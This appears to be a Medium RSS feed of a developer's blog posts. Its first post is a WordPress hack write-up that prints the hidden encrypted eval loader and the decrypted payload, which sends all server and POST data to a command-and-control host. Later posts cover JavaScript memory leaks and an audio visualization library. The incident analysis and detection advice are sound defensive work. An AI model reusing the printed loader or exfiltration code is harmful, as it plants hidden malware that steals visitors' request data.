<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Kelvin Au on Medium]]></title>
        <description><![CDATA[Stories by Kelvin Au on Medium]]></description>
        <link>https://medium.com/@kelvinausoftware?source=rss-e6bda3a4a02------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*UJuucXSF8zZM6Yl6XVfGnA.jpeg</url>
            <title>Stories by Kelvin Au on Medium</title>
            <link>https://medium.com/@kelvinausoftware?source=rss-e6bda3a4a02------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 19:27:05 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kelvinausoftware/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[My WordPress Site Was Hacked and I Could Not Find the Malware]]></title>
            <link>https://medium.com/@kelvinausoftware/my-wordpress-site-was-hacked-and-i-could-not-find-the-malware-7cf7b1ceecf6?source=rss-e6bda3a4a02------2</link>
            <guid isPermaLink="false">https://medium.com/p/7cf7b1ceecf6</guid>
            <category><![CDATA[seo]]></category>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-development]]></category>
            <dc:creator><![CDATA[Kelvin Au]]></dc:creator>
            <pubDate>Wed, 13 May 2026 08:15:49 GMT</pubDate>
            <atom:updated>2026-05-13T08:15:49.926Z</atom:updated>
            <content:encoded><![CDATA[<p>I noticed something strange while doing a routine check on how my sites appear in search results . I do this periodically for SEO and AEO (Answer Engine Optimization) monitoring. The top result for <a href="https://kelvinau.net/">kelvinau.net</a> showed a title I never wrote: “University Student Gift Ideas Open When Envelopes For College Students.” Clicking the link from Google redirected to a spam product site. But when I visited kelvinau.net directly, everything looked normal.</p><p>My site had been hacked. And it took me hours to find out where.</p><h3>The Symptom: A Fake Store Running Under My Domain</h3><p>The attacker had set up user-agent cloaking. When Googlebot crawled my site, it received a full fake Walmart product page, complete with product images, reviews, add-to-cart buttons, and “Sold and shipped by kelvinau.net” on the product page. When a real person visited the site directly (not through Google), they saw my actual WordPress site as normal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BzhSOwfIk0cFRtN-j7cc1A.png" /><figcaption>Screenshot of the fake e-commerce site</figcaption></figure><p>This meant my Google search results were poisoned with spam, and anyone clicking through from search was redirected to a scam site. The redirect destination was moronovewarehouse.com, which at the time of discovery appeared to be a fake e-commerce storefront with product listings and checkout functionality. These scam domains are typically short-lived and rotate frequently as they get reported and taken down. I had no idea any of this was happening because my site looked completely normal when I visited it directly.</p><h3>Everything I Checked (And Why It All Looked Clean)</h3><p>I spent hours checking the usual suspects:</p><p><strong>.htaccess files</strong> across the entire site tree. All clean. No referer-based redirects.</p><p><strong>Database</strong> searched for the spam domain, scripts, anything suspicious. Empty results.</p><p><strong>grep for “Googlebot”, “HTTP_USER_AGENT”, “moronove”</strong> across all PHP files. Nothing found (outside of legitimate uses in Wordfence and WP Super Cache).</p><p><strong>Deactivated all plugins</strong> via the database. Hack persisted.</p><p><strong>Switched to a default theme</strong>. Hack persisted.</p><p><strong>Created a standalone PHP file that bypasses WordPress entirely.</strong> I dropped a file called test-clean.php into the site root with just &lt;?php echo &quot;CLEAN&quot;; ?&gt; inside it. When I curled that file with a Googlebot user-agent, it returned &quot;CLEAN&quot; normally. This proved the malware was not in the server config, not in PHP settings, and not in Apache. It only ran when WordPress loaded. That narrowed the hunt to WordPress core files.</p><p><strong>Ran a custom PHP scanner</strong> that searched for obfuscation patterns (eval, base64_decode, long strings, user-agent checks). It found nothing meaningful outside of known-good plugin code.</p><p>I was stuck. The malware was invisible to every search technique I tried.</p><h3>The Breakthrough: diff Against Clean WordPress</h3><p>The solution was simple once I thought of it. I downloaded a clean copy of the same WordPress version I was running and ran a recursive diff:</p><pre>diff -rq /var/www/mysite/wp-includes /tmp/wordpress/wp-includes</pre><p>Two results came back:</p><pre>Files wp-includes/compat.php differ<br>Only in wp-includes/sodium_compat/src/Core/Curve25519/Ge: P2-pluggable.php</pre><p>compat.php had been modified. And a file called P2-pluggable.php existed in a deep directory that does not exist in a clean WordPress install.</p><h3>How the Malware Hid Itself</h3><p>When I looked at the injected code, I understood why nothing found it. The malware was <strong>AES-256-CBC encrypted and gzip compressed</strong>. Here is what it looked like:</p><pre>&lt;?php<br>/**<br> * appreciate burden giant loosen radiation reinforce shrug tremble.<br> * abuse awkward dive gallery moisture odd xploit.<br> * arbitrary expend fertilizer powder route substitute suburb.<br> * @package WordPress<br> */<br>$sealedData = &#39;C+jyTI66+Nt+M2ol2SjHRl9pXNQAzUEKi0QqyTxgqpHRlN6cQoxl0y2eN8ys2qI<br>S8B5xPPb/oi4wl2TpSPervkVOMYk4dUqLmo/AQnLFbhp46FtW4gL1rQ0tlhBcTDkRVbA7dQXyuHp<br>LeU74Owq5vNKNlUY0MywlWG5Yxp7md0lWw3o5vv55CNPp2nU3MqmWlP1KhStrfYG/yrsr5N6SPYAZ<br>DAqSzDyFPefdrycbEFH96AhFaUGVy33qu//cgJkg4AOvrOTgf5I7dTSxh60JcT2crQmnuV9zSm1KQA<br>Ue4giec/f8owGFIXQ9yVcVB6txccBR9qGgE24w9YNKK97qGNvZ2+6ucBrxP3SE7GDFitAey0AIlRG<br>HmpWrcpcPWK1YKrU2FlytKeDND4YVTWlKtt6Y9V7qvs/c4agVaj3/tXKgCd5bOCEVyTFzL+XXUgC5<br>... (truncated ~800 more characters of base64) ...<br>+EFnm+I0xtVw&#39;;<br>$expandEncodedData = &#39;664c3f51c2564da5980d8977818fa26aa174cfdd600ecf437b27ef185fe9e30f&#39;;<br>if (! function_exists(&#39;add_filter_contents_wp&#39;) ) {<br>/**<br> * battery erect golf leak motivate utter welfare yield.<br> * battery cargo flee forbid prompt sexual shelter.<br> * comment decline excess glory ingredient prescribe provision.<br> * discrimination jail lynar wagon.<br> * @package WordPress<br> */<br>    function add_filter_contents_wp($protectedPayload, $expandEncodedData) {<br>        $buildIntegrityTag = base64_decode($protectedPayload, true);<br>        $finalData       = substr($buildIntegrityTag, 0, 16);       // IV<br>        $extractedNonces = substr($buildIntegrityTag, 48);           // ciphertext<br>        $opensPipeline = openssl_decrypt(<br>            $extractedNonces,<br>            &#39;AES-256-CBC&#39;,<br>            hash(&#39;sha256&#39;, $expandEncodedData, true),<br>            OPENSSL_RAW_DATA,<br>            $finalData<br>        );<br>        return gzuncompress($opensPipeline);<br>    }<br>/**<br> * appropriate humble vacuum welfare.<br> * forbid participate volunteer.<br> * @package WordPress<br> */<br>    try {<br>        @eval(add_filter_contents_wp($sealedData, $expandEncodedData));<br>    } catch (Exception $e) {}<br>}</pre><p>The actual malicious behavior (checking user-agent, fetching spam from a remote server, outputting fake pages) only existed after the encrypted blob was decrypted at runtime. No plaintext evidence on disk. No “Googlebot” string. No redirect URL. Nothing for grep to find. Note that the decryption key is stored right next to the encrypted data in the same file. The encryption is not meant to protect the code from reverse engineering. It exists solely to evade automated scanners that search for known malware patterns in plaintext.</p><p>The fake WordPress-style comments were another nice touch: “appreciate burden giant loosen radiation reinforce shrug tremble.” Random words that look like a docblock at a glance, with @package WordPress to seal the disguise.</p><p>The planted file path was equally clever: wp-includes/sodium_compat/src/Core/Curve25519/Ge/P2-pluggable.php. Every directory in that path is a real WordPress directory. The filename uses &quot;pluggable,&quot; which is a real WordPress concept. Unless you know the exact file inventory of a clean install, this file looks like it belongs.</p><h3>What the Malware Actually Did</h3><p>Once decrypted, the code:</p><ol><li>Checked $_SERVER[&#39;HTTP_USER_AGENT&#39;] for search engine bot signatures</li><li>If a bot was detected, fetched a complete product page from a remote command-and-control server</li><li>The fetched page was a full Walmart clone with my domain substituted into all URLs</li><li>Output the fake page and called exit() before WordPress could render anything</li><li>If a normal user visited, did nothing (WordPress loaded normally)</li></ol><p>The result: Google indexed hundreds of fake product pages under my domain. Visitors from search results got redirected to spam. My site reputation was being used to boost an e-commerce scam operation.</p><p>Here is the decrypted payload in full. I ran the same decryption function locally but output the result instead of eval-ing it:</p><pre>&lt;?php<br>// C&amp;C URL constructed by extracting every 5th character from junk string<br>$nowurl = &quot;http://cdn.uptimefoundry.com/amabstca-0414/api2302.php&quot;;<br>// Sends ALL $_SERVER + $_POST data to the C&amp;C<br>$v4v = array();<br>$v3v = json_encode( $_SERVER + $_POST );<br>$v4v[&#39;iamuqtiph&#39;] = $v3v;<br><br>// POSTs to C&amp;C, which decides what to return based on user-agent<br>$v3v = curl_init();<br>curl_setopt( $v3v, CURLOPT_URL, $nowurl );<br>curl_setopt( $v3v, CURLOPT_RETURNTRANSFER, true );<br>curl_setopt( $v3v, CURLOPT_POST, true );<br>curl_setopt( $v3v, CURLOPT_POSTFIELDS, $v4v );<br>$v5v = curl_exec( $v3v );<br>// C&amp;C response contains ... with base64+gzip content<br>if ( !preg_match( &#39;/(.+?)&lt;\/filter&gt;/is&#39;, $v5v, $v0v ) )<br>    continue;<br>$v5v = gzinflate( base64_decode( $v0v[1] ) );<br>$v3v = json_decode( $v5v, true );<br>// Output whatever the C&amp;C sends (the fake Walmart page HTML)<br>if( is_array( $v3v ) ){<br>    foreach($v3v as $key=&gt;$vs){ $$key = $vs; }<br>    if(isset($gwemwlrsc)) header($gwemwlrsc);<br>    if(isset($vuhtxzddu)){ echo $vuhtxzddu; exit; }<br>}</pre><p>The WordPress site is just a thin proxy. All intelligence (bot detection, content selection, redirect destinations) lives on the remote C&amp;C server at cdn.uptimefoundry.com. The attacker can change what gets served without ever touching the infected site again.</p><h3>Why Wordfence Did Not Catch It</h3><p>I had Wordfence installed and active. It did not detect this malware because:</p><ul><li>Wordfence uses <strong>signature-based scanning</strong> that looks for known patterns (eval, base64_decode, known malware strings). The AES encryption made the payload look like random data.</li><li>The code was in a <strong>core file</strong> that many scanners trust by default.</li><li>The function was named add_filter_contents_wp, which mimics legitimate WordPress function naming conventions.</li><li>There was no eval() call visible in the code (it was inside the decrypted payload).</li></ul><h3>The Fix</h3><p>Straightforward once I found the files:</p><pre>rm wp-includes/sodium_compat/src/Core/Curve25519/Ge/P2-pluggable.php<br>cp /tmp/wordpress/wp-includes/compat.php wp-includes/compat.php</pre><p>Then I updated WordPress to the latest version, changed all passwords, and removed unused plugins from disk.</p><h3>How to Protect Yourself</h3><p><strong>Keep WordPress core and plugins on the latest version.</strong> Outdated installations are the number one target for automated exploitation at scale.</p><p><strong>Security plugins are not enough.</strong> Wordfence could not detect encrypted malware injected into core files. Do not assume you are safe because you have a security plugin installed.</p><p><strong>The best detection method is diff.</strong> Download a clean copy of your exact WordPress version. Run diff -rq against your wp-includes/ and wp-admin/. Any file that differs or should not exist is your malware. This takes 10 seconds and catches everything that pattern-based scanners miss.</p><p><strong>Test with a bot user-agent.</strong> Run curl -A &quot;Googlebot&quot; https://yoursite.com/ periodically. If you get something different from your normal site, you have been hacked.</p><p><em>If you found this post because you are dealing with the same thing, I hope the detection steps and decoded payload help. The key takeaway: when all else fails, diff your core files against a clean install. It takes 10 seconds and catches everything that scanners miss.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7cf7b1ceecf6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[An Usual Day of Memory Leak Analysis With Gotcha]]></title>
            <link>https://medium.com/@kelvinausoftware/an-usual-day-of-memory-leak-analysis-with-gotcha-a44899c4ace5?source=rss-e6bda3a4a02------2</link>
            <guid isPermaLink="false">https://medium.com/p/a44899c4ace5</guid>
            <category><![CDATA[memory-improvement]]></category>
            <category><![CDATA[es6]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[angularjs]]></category>
            <category><![CDATA[memory-leak]]></category>
            <dc:creator><![CDATA[Kelvin Au]]></dc:creator>
            <pubDate>Wed, 30 Jan 2019 09:43:52 GMT</pubDate>
            <atom:updated>2019-01-30T18:07:57.803Z</atom:updated>
            <content:encoded><![CDATA[<h3>A Usual Day of Memory Leak Analysis With Gotcha</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MMx9UGUn9rpNorndfyas2g.png" /></figure><p>It was a windy day in Vancouver, and I was watching the trees slightly bending down through the windows. It was the memory leak of a complicated component that struggled me, and I had to walk away to get some fresh air and clear my mind for new thoughts. The problem would be easier if the component were not that complex and tightly coupled, and the issue would be identified easily. Refactoring the code was necessary, but I felt like I was just one step away from finding out the root cause of the leak.</p><p>After the first process of identifying the component that was causing the memory leak (performance recording, JS heap snapshot, Constructor/Retainer, etc), I opened that file and looked for anywhere it might smell. First thing I saw was the component controller name called ComponentCtrl. Yuck! I am in love with coding standard and naming conventions. I felt uncomfortable immediately with this name. Why? Imagine if we have multiple components that use the same controller name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*rQXS2dYk9MrY8gAhIUzzJQ.png" /><figcaption>Same Controller Name ComponentCtrl</figcaption></figure><p>This won’t cause any issue with the functionalities, but it is a headache during memory leak analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*d4pFws6lcN76MXKpmTwiAw.png" /><figcaption>Heap Snapshot of ComponentCtrl</figcaption></figure><p>Which ComponentCtrl correspond to Component A/B/C? We can click the right link and navigate to that line of code to know that, but it becomes tedious if there are many controllers/constructors having the same name. Next time when we record another snapshot, we will need to look at it again. Simply give a more specific name can save a lot of clicks and uncertainties.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*6UfhIpqm2ahIQFd5oZzDmw.png" /><figcaption>More Specific Naming Convention</figcaption></figure><p>Much more clear. Note that ES6 concise method and arrow function eventually create anonymous function in terms of constructor. As of ES6, if the name of the constructor is missing like an anonymous function, the name of the variable/property that holds the function will be used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*2cxNsKnkc1M622TR9QEWHQ.png" /><figcaption>Name Taken from the Property</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*54KyURKd4Lmb5pUf0jphhw.png" /><figcaption>Name abcdef Shown in Heap Snapshot</figcaption></figure><p>However, it’s hard to locate where the final step when the constructor function is called and used on which variable/property for AngularJS, as there may be some other processing so we can’t search forcontrollerto find it. My point here is simply providing the function name to avoid this hassle.</p><p>Based on my experience, usually the most common cases for memory leak are:</p><ol><li>Lexical scope that holds a reference to an outer scope, and this scope is not destroyed even though the outer one is, which is very common for event binding or callback</li><li>Detached DOM element</li></ol><p>The first case of event binding and callback almost exists in every single large application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*sIsPKbsCVVWcAVU5_LE_Aw.png" /><figcaption>$rootScope Holding a Reference of the scope of ComponentACtrl</figcaption></figure><p>This is a common AngularJS memory leak example. However, the same concept applies in general. When the scope of componentA is destroyed, AngularJS clears everything in the scope and let the engine to collect the garbage and reclaim memory. There is a special handling for IE 9 too (unsurprisingly).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*n-Oe2jP6yDB8O291tCMZ8w.png" /><figcaption>AngularJS Cleaning Up Scope #1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*JgbynJVisKztZf6stTbiXw.png" /><figcaption>AngularJS Cleaning Up Scope #2</figcaption></figure><p>However, $rootScope needs the scope of componentACtrl as its event toggle-event has a call back that has the reference to this scope. It doesn’t matter if it uses any variable inside the callback or not. It matters only if <strong>it has a closure of the outer scope</strong>. There are a few scenarios in this case and they can have different outcomes:</p><p><strong>1. Holding a reference of the controller scope</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*sIsPKbsCVVWcAVU5_LE_Aw.png" /><figcaption>Holding a reference of the controller scope</figcaption></figure><p>As the outer function has this.a = &#39;aaa&#39;, it needs and holds this, which is the scope of the controller ComponentACtrl because of the arrow function. After destroying the component, the memory of the whole controller scope cannot be released.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*p5wBGmYx-eqIJ8Hl84A7mw.png" /><figcaption>Scope of ComponentACtrl cannot be released</figcaption></figure><p>The distance is also farther away from window object compared to ComponentBCtrl and ComponentCCtrl. If this is not used, we won’t see ComponentACtrl in here. Then it comes to the second case.</p><p><strong>2. Holding a reference of the outer function</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*eZRp2xameppMWGAsPu9x3A.png" /><figcaption>Holding a reference of the outer function</figcaption></figure><p>If we have no other statements/assignments in the outer function besides the event registration, and we don’t use arrow function, ComponentACtrl will not show up in the snapshot. Does that mean memory leak problem is solved, and hence closure doesn’t occur? Obviously not. It’s just that there’s no constructor name can be found for this function. Record a snapshot before destroying and another one after creating componentA, and compare the result .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*vMeKe2enoeVfCqxUvhw4rA.png" /><figcaption>Delta Equal to +1</figcaption></figure><p>As I expect that the changes of some of the items stayed in memory should be increased by exactly 1, so I sort it by Delta and look for it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*E1wvoqL5RuTCqaxYmq8loQ.png" /><figcaption>Closure and Context Increased by one</figcaption></figure><p>Exactly as it says, closure is increased by <strong>one</strong>. If we also check (closure) for case 1, it actually increases by <strong>two</strong>,<strong> </strong>because besides the callback function itself, it also has the reference to all other functions on the controller scope, which includes$onInit.</p><p><strong>3. No callback</strong></p><p>When there’s no callback for the event, no closure is needed and thus no memory leak for closure will happen. However, depending on the exact implementation of the event binding, the memory may still increase. Because every time it renders the element, a binding still happens. In AngularJS, it will push a callback listener of undefined into $$listeners, but it will later on remove it.</p><p>The idea is similar to detached DOM. A DOM is considered as detached when it doesn’t exist in the DOM tree but it has a reference in memory. The meaning of detached in here is not exactly the same as Virtual DOM, which is used to render selectively based on state changes. Detached DOM refers to the native DOM element object being detached. Normally if we keep a reference in a lexical scope and do not store it outside of the scope, it will be garbage collected automatically.</p><p>Up until this point, I still haven’t shared my gotcha of that memory analysis. I checked for event binding and any DOM element manipulation and references (there were a lot…). They all seemed good. What went wrong? I stared at this for a while and took a break. Solutions usually come up after my mind flushed out for 15 minutes.</p><p>First idea I came up with was using a dirty way to confirm if it actually leaked from this component — commented out all the code inside the controller. Not surprisingly, the memory leak issue disappeared, so that confirmed my very first process of identifying this component correctly. I uncommented it, took a snapshot, and looked at the snapshot again. This time I saw something that I didn’t see before.</p><p>The distance of the item was ‘ — ‘, and it’s said “DevTools console” right below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*DgMyCJDYtYDpSfBO-llUMA.png" /><figcaption>Leak in DevTools console</figcaption></figure><p>My actual case had way more items in the snapshot, but still, how could I miss that? It was all just because of a console.log(this)! The console held the reference of the scope for us to click and inspect, and so it had the reference of it (note that console.log increases JS heap only if we open up the debugger).</p><p>Why did we console log the whole scope? There are a lot of tools and plugins to visualize it already. It may be convenient during early development, which I won’t do it anyways, but this should be removed when the code is quite stable. I somehow felt like in the old days of missing a semi-colon in those compile languages, except those told me exactly which line’s missing it. A side story: there was once we were looking at why a new file with one statement added was not working in our application, and it was all because of missing a semi-colon. We used Gulp to concatenate all the codes and it thought that the statement was a function call, which used the next file for the parameters, i.e.(function(){...}(module.exports))(function(){...})(module.export); The library of lazy loading caught the error somewhere and lost the initial trace. That took us an hour to find it out.</p><p>Memory leak analysis is fun as it always tests our understanding of a lot of JS concepts. It also helps us to write better code and reminds us good practices of development. For the simple demo I referenced in this post, I pushed it to here: <a href="https://demo.kelvinau.net/console-log-this">https://demo.kelvinau.net/console-log-this</a></p><p>Stay tuned for my next memory analysis case!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a44899c4ace5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Memory Leak from ECharts Occurs If Not Properly Disposed]]></title>
            <link>https://medium.com/@kelvinausoftware/memory-leak-from-echarts-occurs-if-not-properly-disposed-7050c5d93028?source=rss-e6bda3a4a02------2</link>
            <guid isPermaLink="false">https://medium.com/p/7050c5d93028</guid>
            <category><![CDATA[analysis]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[memory-leak]]></category>
            <category><![CDATA[charts]]></category>
            <category><![CDATA[data-visualization]]></category>
            <dc:creator><![CDATA[Kelvin Au]]></dc:creator>
            <pubDate>Thu, 29 Nov 2018 16:29:06 GMT</pubDate>
            <atom:updated>2021-12-06T05:36:14.696Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lsCwGlLP5lYNqHxsJUjzQg.png" /></figure><p>I have been planning to write more articles, but in last few months I was quite busy on working for the project <a href="http://wahosting.com/">wahosting.com</a>, which is a platform that helps students in California to find all the transferable courses with continuous up-to-date data from 100+ colleges. The project is quite stable now and I have more time to write more articles (there is a list of items I want to write….). Anyways, let’s get to the topic.</p><p><a href="https://github.com/apache/incubator-echarts">ECharts</a> is “[a] powerful, interactive charting and visualization library for browser”, an open-source js library developed by the team of Baidu. The interface of ECharts is very simple that just takes an object for the options, and it can create thousands of visualization combinations. It can handle large data rendering in canvas or svg, and there are many chart types pre-defined already. It also has a very detailed documentation (although sometimes the Chinese version has better explanation).</p><p>Don’t get me wrong of pointing out the issue of it and disliking it. I love using ECharts a lot. Here I am focusing only on why the memory leak of ECharts occurs. For how to find it, I highly recommend reading this article written by Kayce Basques from Google <a href="https://developers.google.com/web/tools/chrome-devtools/memory-problems/">https://developers.google.com/web/tools/chrome-devtools/memory-problems/</a>.</p><p>I occasionally check if there is any memory leak in my code, and today I found out that ECharts had memory leak even after I disposed the chart. Here is a link to the demo:<a href="https://demo.kelvinau.net/echarts-memory-leak/"> https://demo.kelvinau.net/echarts-memory-leak/</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b7gscn4sEEoH9d9HkZnZFg.png" /><figcaption>ECharts instance exists in memory</figcaption></figure><p>Clicking the first button “Dispose without setting to null” will call <em>chart.dispose()</em>, which is the official function to dispose the chart. Using Chrome Heap snapshot, I can see that ECharts instance still exists after disposed, so I take a look at the dispose function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*g7HXyR_oUrj-5XrKvNlqKA.png" /><figcaption>ECharts dispose function</figcaption></figure><p>The function is not very long, and it seems to be doing all sorts of cleaning. The only thing that looks strange to me is the first few lines. It checks if the instance is disposed, and gives a warning for dev version, and simply just returns.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*uNZdwXgh7T6nAETscBc-cQ.png" /><figcaption>Clicking dispose button a few more times</figcaption></figure><p>The ECharts instance exists to check if it is disposed. I consider this as a feature. Setting a breakpoint there, you can take a look at <em>this</em> to see what is left in the instance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*maKbc5EUWDXvvL7GvApx-g.png" /><figcaption>ECharts instance after disposed</figcaption></figure><p>I briefly took a look at it and already saw two DOM elements in the instance, and I believe there should be more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*wQP2zZMdHYVDKGoDvI4N2g.png" /><figcaption>Detached DOM and EventListener</figcaption></figure><p>These detached can hold up memory of other parts of an application, as these cannot be automatically collected e.g. this.chart, $scope.chart.</p><p>In order to solve this, you should call <em>chart = null </em>after disposed, which is what the button “Dispose with setting to null” does<em>. </em>This will clear the whole ECharts instance and solve this memory issue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*rVP1iFpq41neNXNmGVLw6g.png" /><figcaption>Setting chart to null after disposed</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7050c5d93028" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Circular Audio Wave — JS Library for Audio Visualization in Circular Waveform]]></title>
            <link>https://medium.com/@kelvinausoftware/circular-audio-wave-js-library-for-audio-visualization-in-circular-waveform-49afe0aa87a?source=rss-e6bda3a4a02------2</link>
            <guid isPermaLink="false">https://medium.com/p/49afe0aa87a</guid>
            <category><![CDATA[waves]]></category>
            <category><![CDATA[soundwave]]></category>
            <category><![CDATA[data-visualization]]></category>
            <category><![CDATA[charts]]></category>
            <category><![CDATA[audiovisual]]></category>
            <dc:creator><![CDATA[Kelvin Au]]></dc:creator>
            <pubDate>Sat, 14 Jul 2018 18:12:14 GMT</pubDate>
            <atom:updated>2019-11-19T07:25:49.076Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*plOMyQLgX1WePX3GNO6jwA.gif" /></figure><p><em>Live Demo: </em><a href="https://kelvinau.github.io/circular-audio-wave/demo/circular-wave.html"><em>Circular Wave</em></a><em> and </em><a href="https://kelvinau.github.io/circular-audio-wave/demo/sunburst.html"><em>Sunburst</em></a><em> (Remember to adjust your audio first)</em></p><p>Visualizing the data in a dynamic and continuous way gives the real-time feeling to be in sync with the data status, especially true for audio. I was looking for a JS library for circular audio wave, which was in a form of a circular continuous line that changed when the audio frequency changed, but I couldn’t find one. There is a great list of audio visualization libraries on Github called <a href="https://github.com/willianjusten/awesome-audio-visualization">awesome-audio-visualization</a> <em>[Edited: this library is added into the list now as of July 16, 2018]</em>. I couldn’t find anything that fit my need there. Therefore, I decided to create a library for this purpose.</p><p>I have been using a great canvas charting library called <a href="https://github.com/apache/incubator-echarts">ECharts</a>, created by Baidu, for my current company. It is very powerful and easy to use, and suitable for big data rendering. It has a wide range of charts like line, bar, pie, scatter, etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R02OU8l-Fc5CmsWihO3U7A.png" /><figcaption>Wide Range of Charts from ECharts</figcaption></figure><p>In order to make a circular continuous line, I took a look at the options of line chart. There’s a setting of the coordinate system — cartesian2d or polar. Polar was obviously the system I needed. I added data points with the same radius and incremental angle starting from 0 to 361. The reason of the 361st point was to fill the gap between 0th and 360th points. And it looked better with some color gradient on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*fUcNLIHZIWTHu2MRp8p74g.png" /><figcaption>Circular Line Chart with Same Radius and Incremental Angle</figcaption></figure><p>At this point, it could actually fulfill my initial purpose already, by feeding data into it using Web Audio API. The radius and angle would be the frequency level and index of the result from <a href="https://developer.mozilla.org/en-US/docs/Web/API/AnalyserNode/getByteFrequencyData">getByteFrequencyData()</a>. That just seemed too easy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*Mzy98iIDeZgFwGIvvsDy7w.png" /><figcaption>Circular Line Chart with Continuous Audio Data</figcaption></figure><p>I thought there could be more that I could do, so I researched on existing audio reactive visualization. There’s one common feature that I could add — maximum frequency bar (I called it “max bar”).The max bar records the maximum frequency and acts as a ceiling. Its record gradually decreases over time, until a current frequency that’s higher than the record appears, then it will use the higher frequency as a new ceiling. This helps visualize the difference of the frequency level from the recent maximum.</p><p>A max bar, acting as a ceiling, would be another circular line except that it’s always in a smooth shape. I added another polar line chart with the logic described above, rendered in greenish blue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*j_Qe7rMyTnY7-NQxrpuQAg.png" /><figcaption>Circular Line Chart with Maxbar</figcaption></figure><p>There was a lot of empty space at the center. It could be used to display more information about the audio. There’s also one more attribute of the audio that’s commonly used — tempo. I found <a href="https://jmperezperez.com/">José M. Pérez</a>’s research about tempo detection in JavaScript, which would be the feature I wanted. However, I didn’t want to put a text there and showed the current bpm (beat per minute). That would not match my purpose of audio visualization. So I used another chart type for this — EffectScatter.</p><p>EffectScatter is a scatter chart that provides ripple effect to the data points. I added one big data point at the center, added ripple effect to it with gradient color. The speed of the ripple is based on the tempo of the audio. Here is the final result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*44LkHmR991jKWJBhSfoD-g.png" /><figcaption>Circular Line Chart with Rippling Point Based on Tempo</figcaption></figure><p>This looked great to me after adding the rippling point. I was satisfied with this design. It provided the information of the frequency levels at different data point and tempo of the audio.</p><p>I also tried it with another chart type sunburst. It’s supposed to be label text for the outermost layer, but that’s what I didn’t want. Thus I put empty string into there and add background color to these text so it looks like bars.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*l7AoDR7lM47Rh30g8YZHpg.png" /><figcaption>Sunburst Wave</figcaption></figure><p>This library is not supported for IE, because they don’t have Web Audio API. The source code of this library is on <a href="https://github.com/kelvinau/circular-audio-wave">Github</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=49afe0aa87a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Struggles and Solutions for University Transfer in California]]></title>
            <link>https://medium.com/@kelvinausoftware/struggles-and-solutions-for-university-transfer-in-california-42a400e6e4fa?source=rss-e6bda3a4a02------2</link>
            <guid isPermaLink="false">https://medium.com/p/42a400e6e4fa</guid>
            <category><![CDATA[university-transfer]]></category>
            <category><![CDATA[california]]></category>
            <category><![CDATA[course-search]]></category>
            <category><![CDATA[community-college]]></category>
            <category><![CDATA[online-courses]]></category>
            <dc:creator><![CDATA[Kelvin Au]]></dc:creator>
            <pubDate>Tue, 10 Jul 2018 15:01:19 GMT</pubDate>
